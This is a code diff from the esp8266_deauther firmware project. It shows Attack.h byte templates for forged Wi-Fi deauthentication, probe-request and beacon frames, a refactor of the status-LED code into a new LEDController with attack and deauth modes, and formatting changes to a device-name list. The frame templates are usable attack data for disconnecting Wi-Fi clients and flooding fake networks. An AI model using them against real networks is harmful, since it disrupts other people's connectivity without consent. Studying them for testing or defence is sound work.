|
||||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
uint16_t packetSize = 0;
|
||||||
/* 91 - 92 */ 0x02, 0x00,
|
uint32_t attackTime = 0; // for counting how many packets per second
|
||||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02,
|
uint32_t attackStartTime = 0;
|
||||||
/* 101 - 102 */ 0x01, 0x00,
|
uint32_t timeout = 0;
|
||||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
|
||||||
/* 107 - 108 */ 0x00, 0x00
|
// random mac address for making the beacon packets
|
||||||
};
|
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||||
|
|
||||||
|
uint8_t deauthPacket[26] = {
|
||||||
|
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||||
|
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||||
|
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||||
|
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||||
|
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||||
|
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||||
|
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||||
|
};
|
||||||
|
|
||||||
|
uint8_t probePacket[68] = {
|
||||||
|
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||||
|
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||||
|
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||||
|
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||||
|
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||||
|
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||||
|
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||||
|
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
/* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4
|
||||||
|
/* 60 */ 0x82, // 1(B)
|
||||||
|
/* 61 */ 0x84, // 2(B)
|
||||||
|
/* 62 */ 0x8b, // 5.5(B)
|
||||||
|
/* 63 */ 0x96, // 11(B)
|
||||||
|
/* 64 */ 0x24, // 18
|
||||||
|
/* 65 */ 0x30, // 24
|
||||||
|
/* 66 */ 0x48, // 36
|
||||||
|
/* 67 */ 0x6c // 54
|
||||||
|
};
|
||||||
|
|
||||||
|
uint8_t beaconPacket[109] = {
|
||||||
|
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||||
|
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||||
|
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||||
|
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||||
|
|
||||||
|
// Fixed parameters
|
||||||
|
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done
|
||||||
|
// by the SDK)
|
||||||
|
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||||
|
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms -
|
||||||
|
// 0xe8, 0x03 => every 1s
|
||||||
|
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||||
|
|
||||||
|
// Tagged parameters
|
||||||
|
|
||||||
|
// SSID parameters
|
||||||
|
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||||
|
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20,
|
||||||
|
0x20, 0x20, 0x20, 0x20, // SSID
|
||||||
|
|
||||||
|
// Supported Rates
|
||||||
|
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||||
|
/* 72 */ 0x82, // 1(B)
|
||||||
|
/* 73 */ 0x84, // 2(B)
|
||||||
|
/* 74 */ 0x8b, // 5.5(B)
|
||||||
|
/* 75 */ 0x96, // 11(B)
|
||||||
|
/* 76 */ 0x24, // 18
|
||||||
|
/* 77 */ 0x30, // 24
|
||||||
|
/* 78 */ 0x48, // 36
|
||||||
|
/* 79 */ 0x6c, // 54
|
||||||
|
|
||||||
|
// Current Channel
|
||||||
|
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||||
|
/* 82 */ 0x01, // Current Channel
|
||||||
|
|
||||||
|
// RSN information
|
||||||
|
/* 83 - 84 */ 0x30, 0x18,
|
||||||
|
/* 85 - 86 */ 0x01, 0x00,
|
||||||
|
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||||
|
/* 91 - 92 */ 0x02, 0x00,
|
||||||
|
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02,
|
||||||
|
/* 101 - 102 */ 0x01, 0x00,
|
||||||
|
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||||
|
/* 107 - 108 */ 0x00, 0x00
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef Attack_h
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,111 +1,36 @@
|
|||||||
#include "DigitalLed.h"
|
#include "DigitalLED.h"
|
||||||
|
|
||||||
DigitalLed::DigitalLed() {
|
|
||||||
|
|
||||||
|
DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) {
|
||||||
|
DigitalLED::anode = anode;
|
||||||
|
DigitalLED::rPin = rPin;
|
||||||
|
DigitalLED::gPin = gPin;
|
||||||
|
DigitalLED::bPin = bPin;
|
||||||
}
|
}
|
||||||
|
|
||||||
// setup pins
|
DigitalLED::~DigitalLED() {}
|
||||||
void DigitalLed::setup(){
|
|
||||||
if(!settings.getLedEnabled()) return;
|
|
||||||
|
|
||||||
// ===== adjustable ===== //
|
void DigitalLED::setup() {
|
||||||
if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT);
|
if (rPin < 255) pinMode(rPin, OUTPUT);
|
||||||
if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT);
|
|
||||||
if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT);
|
if (gPin < 255) pinMode(gPin, OUTPUT);
|
||||||
// ====================== //
|
|
||||||
|
if (bPin < 255) pinMode(bPin, OUTPUT);
|
||||||
setMode(LED_MODE_OFF, true);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
void DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||||
// debug output
|
if (anode) {
|
||||||
if (output){
|
if (rPin < 255) digitalWrite(rPin, r > 0);
|
||||||
char s[30];
|
|
||||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
|
||||||
prnt(String(s));
|
|
||||||
}
|
|
||||||
|
|
||||||
// ===== adjustable ===== //
|
|
||||||
if(LED_CATHODE){
|
|
||||||
r = r>0;
|
|
||||||
g = g>0;
|
|
||||||
b = b>0;
|
|
||||||
}else{
|
|
||||||
r = !(r>0);
|
|
||||||
g = !(g>0);
|
|
||||||
b = !(b>0);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r);
|
if (gPin < 255) digitalWrite(gPin, g > 0);
|
||||||
if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g);
|
|
||||||
if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b);
|
|
||||||
// ====================== //
|
|
||||||
|
|
||||||
// debug output
|
if (bPin < 255) digitalWrite(bPin, b > 0);
|
||||||
if (output){
|
} else {
|
||||||
char s[30];
|
if (rPin < 255) digitalWrite(rPin, r == 0);
|
||||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
|
||||||
prnt(String(s));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// customize color codes for different LED modes
|
if (gPin < 255) digitalWrite(gPin, g == 0);
|
||||||
void DigitalLed::setMode(uint8_t mode, bool force) {
|
|
||||||
// ===== adjustable ===== //
|
if (bPin < 255) digitalWrite(bPin, b == 0);
|
||||||
if (mode != DigitalLed::mode || force) {
|
|
||||||
DigitalLed::mode = mode;
|
|
||||||
switch (mode) {
|
|
||||||
case LED_MODE_OFF:
|
|
||||||
setColor(0, 0, 0, 100, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_SCAN:
|
|
||||||
setColor(0, 0, 255, 100, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_ATTACK:
|
|
||||||
setColor(255, 255, 0, 100, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_DEAUTH:
|
|
||||||
setColor(255, 0, 0, 100, false);
|
|
||||||
break;
|
|
||||||
case LED_MODE_IDLE:
|
|
||||||
setColor(0, 255, 0, 100, false);
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
// ====================== //
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void DigitalLed::tempEnable() {
|
void DigitalLED::setBrightness(uint8_t brightness) {}
|
||||||
tempEnabled = true;
|
|
||||||
prntln(L_ENABLED);
|
|
||||||
}
|
|
||||||
|
|
||||||
void DigitalLed::tempDisable() {
|
|
||||||
tempEnabled = false;
|
|
||||||
prntln(L_DISABLED);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool DigitalLed::getTempEnabled() {
|
|
||||||
return tempEnabled;
|
|
||||||
}
|
|
||||||
|
|
||||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
|
||||||
setColor(r, g, b, 100, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
|
||||||
setColor(r, g, b, brightness, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
void DigitalLed::update() {
|
|
||||||
if (!tempEnabled) return;
|
|
||||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
|
||||||
|
|
||||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
|
||||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
|
||||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
|
||||||
else setMode(LED_MODE_IDLE, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,45 +1,23 @@
|
|||||||
#ifndef DigitalLed_h
|
#ifndef DigitalLED_H
|
||||||
#define DigitalLed_h
|
#define DigitalLED_H
|
||||||
|
|
||||||
#include "Arduino.h"
|
#include "StatusLED.h"
|
||||||
extern "C" {
|
|
||||||
#include "user_interface.h"
|
|
||||||
}
|
|
||||||
#include "language.h"
|
|
||||||
#include "A_config.h"
|
|
||||||
#include "Settings.h"
|
|
||||||
#include "Attack.h"
|
|
||||||
#include "Scan.h"
|
|
||||||
|
|
||||||
#define LED_MODE_OFF 0
|
class DigitalLED : public StatusLED {
|
||||||
#define LED_MODE_SCAN 1
|
public:
|
||||||
#define LED_MODE_ATTACK 2
|
DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode);
|
||||||
#define LED_MODE_DEAUTH 3
|
~DigitalLED();
|
||||||
#define LED_MODE_IDLE 4
|
|
||||||
|
|
||||||
extern Settings settings;
|
void setup();
|
||||||
extern Attack attack;
|
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||||
extern Scan scan;
|
void setBrightness(uint8_t brightness);
|
||||||
extern Stations stations;
|
void setMode(uint8_t mode, bool force);
|
||||||
|
|
||||||
class DigitalLed {
|
private:
|
||||||
public:
|
bool anode = true;
|
||||||
DigitalLed();
|
uint8_t rPin = 255;
|
||||||
void setup();
|
uint8_t gPin = 255;
|
||||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
uint8_t bPin = 255;
|
||||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
|
|
||||||
void setMode(uint8_t mode, bool force);
|
|
||||||
void update();
|
|
||||||
void tempEnable();
|
|
||||||
void tempDisable();
|
|
||||||
bool getTempEnabled();
|
|
||||||
private:
|
|
||||||
uint8_t mode;
|
|
||||||
bool tempEnabled = true;
|
|
||||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif
|
#endif // ifndef DigitalLED_H
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
103
esp8266_deauther/LEDController.cpp
Normal file
103
esp8266_deauther/LEDController.cpp
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
#include "LEDController.h"
|
||||||
|
|
||||||
|
LEDController::LEDController() {}
|
||||||
|
|
||||||
|
LEDController::~LEDController() {
|
||||||
|
if (led) delete led;
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::setup() {
|
||||||
|
#ifdef DIGITAL_LED
|
||||||
|
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||||
|
led->setup();
|
||||||
|
return;
|
||||||
|
|
||||||
|
#endif // ifdef DIGITAL_LED
|
||||||
|
|
||||||
|
#ifdef RGB_LED
|
||||||
|
led = new AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||||
|
led->setup();
|
||||||
|
return;
|
||||||
|
|
||||||
|
#endif // ifdef RGB_LED
|
||||||
|
|
||||||
|
#ifdef NEOPIXEL_LED
|
||||||
|
led = new NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||||
|
led->setup();
|
||||||
|
return;
|
||||||
|
|
||||||
|
#endif // ifdef NEOPIXEL_LED
|
||||||
|
|
||||||
|
prntln(L_NOT_CONFIGURED);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::update() {
|
||||||
|
if (!tempEnabled || !led) return;
|
||||||
|
|
||||||
|
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||||
|
|
||||||
|
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||||
|
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||||
|
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||||
|
else setMode(LED_MODE::IDLE, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::setMode(uint8_t mode, bool force) {
|
||||||
|
if (!led) return;
|
||||||
|
|
||||||
|
if ((mode != LEDController::mode) || force) {
|
||||||
|
LEDController::mode = mode;
|
||||||
|
|
||||||
|
switch (mode) {
|
||||||
|
case LED_MODE::OFF:
|
||||||
|
led->setColor(0, 0, 0);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case LED_MODE::SCAN:
|
||||||
|
led->setColor(0, 0, 255);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case LED_MODE::ATTACK:
|
||||||
|
led->setColor(255, 255, 0);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case LED_MODE::DEAUTH:
|
||||||
|
led->setColor(255, 0, 0);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case LED_MODE::IDLE:
|
||||||
|
led->setColor(0, 255, 0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||||
|
// debug output
|
||||||
|
if (output) {
|
||||||
|
char s[30];
|
||||||
|
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||||
|
prnt(String(s));
|
||||||
|
}
|
||||||
|
|
||||||
|
led->setColor(r, g, b);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||||
|
led->setBrightness(brightness);
|
||||||
|
setColor(r, g, b, output);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::tempEnable() {
|
||||||
|
tempEnabled = true;
|
||||||
|
prntln(L_ENABLED);
|
||||||
|
}
|
||||||
|
|
||||||
|
void LEDController::tempDisable() {
|
||||||
|
tempEnabled = false;
|
||||||
|
prntln(L_DISABLED);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool LEDController::getTempEnabled() {
|
||||||
|
return tempEnabled;
|
||||||
|
}
|
||||||
49
esp8266_deauther/LEDController.h
Normal file
49
esp8266_deauther/LEDController.h
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
#ifndef LEDController_h
|
||||||
|
#define LEDController_h
|
||||||
|
|
||||||
|
#include "Arduino.h"
|
||||||
|
extern "C" {
|
||||||
|
#include "user_interface.h"
|
||||||
|
}
|
||||||
|
#include "language.h"
|
||||||
|
#include "A_config.h"
|
||||||
|
#include "Settings.h"
|
||||||
|
#include "Attack.h"
|
||||||
|
#include "Scan.h"
|
||||||
|
|
||||||
|
#include "StatusLED.h"
|
||||||
|
#include "DigitalLED.h"
|
||||||
|
#include "NeopixelLED.h"
|
||||||
|
#include "AnalogRGBLED.h"
|
||||||
|
|
||||||
|
extern Settings settings;
|
||||||
|
extern Attack attack;
|
||||||
|
extern Scan scan;
|
||||||
|
extern Stations stations;
|
||||||
|
|
||||||
|
class LEDController {
|
||||||
|
public:
|
||||||
|
enum LED_MODE { OFF = 0, SCAN = 1, ATTACK = 2, DEAUTH = 3, IDLE = 4 };
|
||||||
|
|
||||||
|
LEDController();
|
||||||
|
~LEDController();
|
||||||
|
|
||||||
|
void setup();
|
||||||
|
void update();
|
||||||
|
|
||||||
|
void setMode(uint8_t mode, bool force);
|
||||||
|
|
||||||
|
void setColor(uint8_t r, uint8_t g, uint8_t b, bool output);
|
||||||
|
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||||
|
|
||||||
|
void tempEnable();
|
||||||
|
void tempDisable();
|
||||||
|
bool getTempEnabled();
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tempEnabled = true;
|
||||||
|
uint8_t mode = LED_MODE::OFF;
|
||||||
|
StatusLED* led = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // ifndef LEDController_h
|
||||||
@@ -1,483 +1,508 @@
|
|||||||
#include "Names.h"
|
#include "Names.h"
|
||||||
|
|
||||||
Names::Names() {
|
Names::Names() {
|
||||||
list = new SimpleList<Device>;
|
list = new SimpleList<Device>;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::load() {
|
void Names::load() {
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
|
|
||||||
DynamicJsonBuffer jsonBuffer(4000);
|
DynamicJsonBuffer jsonBuffer(4000);
|
||||||
|
|
||||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||||
JsonArray &arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||||
|
|
||||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||||
JsonArray &tmpArray = arr.get<JsonVariant>(i);
|
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(4), false);
|
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||||
sort();
|
4), false);
|
||||||
}
|
sort();
|
||||||
|
}
|
||||||
|
|
||||||
prnt(N_LOADED);
|
prnt(N_LOADED);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::load(String filepath) {
|
void Names::load(String filepath) {
|
||||||
String tmp = FILE_PATH;
|
String tmp = FILE_PATH;
|
||||||
FILE_PATH = filepath;
|
|
||||||
load();
|
FILE_PATH = filepath;
|
||||||
FILE_PATH = tmp;
|
load();
|
||||||
|
FILE_PATH = tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::save(bool force) {
|
void Names::save(bool force) {
|
||||||
if (!force && !changed) {
|
if (!force && !changed) {
|
||||||
return;
|
return;
|
||||||
prntln(N_SAVED);
|
|
||||||
}
|
|
||||||
|
|
||||||
String buf = String(OPEN_BRACKET); // [
|
prntln(N_SAVED);
|
||||||
|
}
|
||||||
|
|
||||||
if (!writeFile(FILE_PATH, buf)) {
|
String buf = String(OPEN_BRACKET); // [
|
||||||
prnt(F_ERROR_SAVING);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
buf = String();
|
if (!writeFile(FILE_PATH, buf)) {
|
||||||
|
|
||||||
String name;
|
|
||||||
int c = count();
|
|
||||||
|
|
||||||
for (int i = 0; i < c; i++) {
|
|
||||||
name = escape(getName(i));
|
|
||||||
|
|
||||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
|
||||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
|
||||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
|
||||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
|
||||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
|
||||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
|
||||||
if(i < c-1) buf += COMMA; // ,
|
|
||||||
|
|
||||||
if(buf.length() >= 1024){
|
|
||||||
if (!appendFile(FILE_PATH, buf)) {
|
|
||||||
prnt(F_ERROR_SAVING);
|
prnt(F_ERROR_SAVING);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
return;
|
||||||
}
|
|
||||||
|
|
||||||
buf = String();
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
buf += String(CLOSE_BRACKET); // ]
|
buf = String();
|
||||||
|
|
||||||
if (!appendFile(FILE_PATH, buf)) {
|
String name;
|
||||||
prnt(F_ERROR_SAVING);
|
int c = count();
|
||||||
|
|
||||||
|
for (int i = 0; i < c; i++) {
|
||||||
|
name = escape(getName(i));
|
||||||
|
|
||||||
|
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||||
|
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||||
|
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||||
|
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||||
|
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||||
|
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||||
|
|
||||||
|
if (i < c - 1) buf += COMMA; // ,
|
||||||
|
|
||||||
|
if (buf.length() >= 1024) {
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf = String();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buf += String(CLOSE_BRACKET); // ]
|
||||||
|
|
||||||
|
if (!appendFile(FILE_PATH, buf)) {
|
||||||
|
prnt(F_ERROR_SAVING);
|
||||||
|
prntln(FILE_PATH);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
prnt(N_SAVED);
|
||||||
prntln(FILE_PATH);
|
prntln(FILE_PATH);
|
||||||
return;
|
changed = false;
|
||||||
}
|
|
||||||
|
|
||||||
prnt(N_SAVED);
|
|
||||||
prntln(FILE_PATH);
|
|
||||||
changed = false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::save(bool force, String filepath) {
|
void Names::save(bool force, String filepath) {
|
||||||
String tmp = FILE_PATH;
|
String tmp = FILE_PATH;
|
||||||
FILE_PATH = filepath;
|
|
||||||
save(force);
|
FILE_PATH = filepath;
|
||||||
FILE_PATH = tmp;
|
save(force);
|
||||||
|
FILE_PATH = tmp;
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::sort() {
|
void Names::sort() {
|
||||||
list->sort([](Device & a, Device & b) -> bool{
|
list->sort([](Device& a, Device& b) -> bool {
|
||||||
return memcmp(a.mac, b.mac, 6) > 0;
|
return memcmp(a.mac, b.mac, 6) > 0;
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::removeAll() {
|
void Names::removeAll() {
|
||||||
internal_removeAll();
|
internal_removeAll();
|
||||||
prntln(N_REMOVED_ALL);
|
prntln(N_REMOVED_ALL);
|
||||||
changed = true;
|
changed = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool Names::check(int num) {
|
bool Names::check(int num) {
|
||||||
if (internal_check(num)) return true;
|
if (internal_check(num)) return true;
|
||||||
prnt(N_ERROR_NOT_FOUND);
|
|
||||||
prntln(num);
|
prnt(N_ERROR_NOT_FOUND);
|
||||||
return false;
|
prntln(num);
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
int Names::findID(uint8_t* mac) {
|
int Names::findID(uint8_t* mac) {
|
||||||
return list->binSearch([mac](Device &a) -> int{
|
return list->binSearch([mac](Device& a) -> int {
|
||||||
return memcmp(mac, a.mac, 6);
|
return memcmp(mac, a.mac, 6);
|
||||||
},0,count()-1);
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
String Names::find(uint8_t* mac) {
|
String Names::find(uint8_t* mac) {
|
||||||
int num = findID(mac);
|
int num = findID(mac);
|
||||||
if (num >= 0)
|
|
||||||
return getName(num);
|
if (num >= 0) return getName(num);
|
||||||
else
|
else return String();
|
||||||
return String();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::print(int num) {
|
void Names::print(int num) {
|
||||||
print(num, true, true);
|
print(num, true, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Names::print(int num, bool header, bool footer) {
|
void Names::print(int num, bool header, bool footer) {
|
||||||
if (!check(num)) return;
|
if (!check(num)) return;
|
||||||
if (header) {
|
|
||||||
prntln(N_TABLE_HEADER);
|
|
||||||
prntln(N_TABLE_DIVIDER);
|
|
||||||
}
|
|
||||||
|
|
||||||
prnt(buildString(String(), (String)num, 2));
|
if (header) {
|
||||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
prntln(N_TABLE_HEADER);
|
||||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
prntln(N_TABLE_DIVIDER);
|
||||||
prnt(buildString(String(SPACE) + getName(num), String(), 17));
|
}
|
||||||
prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18));
|
|
||||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
|
||||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
|
||||||
|
|
||||||
if (footer)
|
prnt(buildString(String(), (String)num, 2));
|
||||||
prntln(N_TABLE_DIVIDER);
|
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||||
|
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||||
|
prnt(buildString(String(SPACE) + getName(num), String(), 17));
|
||||||
|
prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18));
|
||||||
|
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||||
|
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
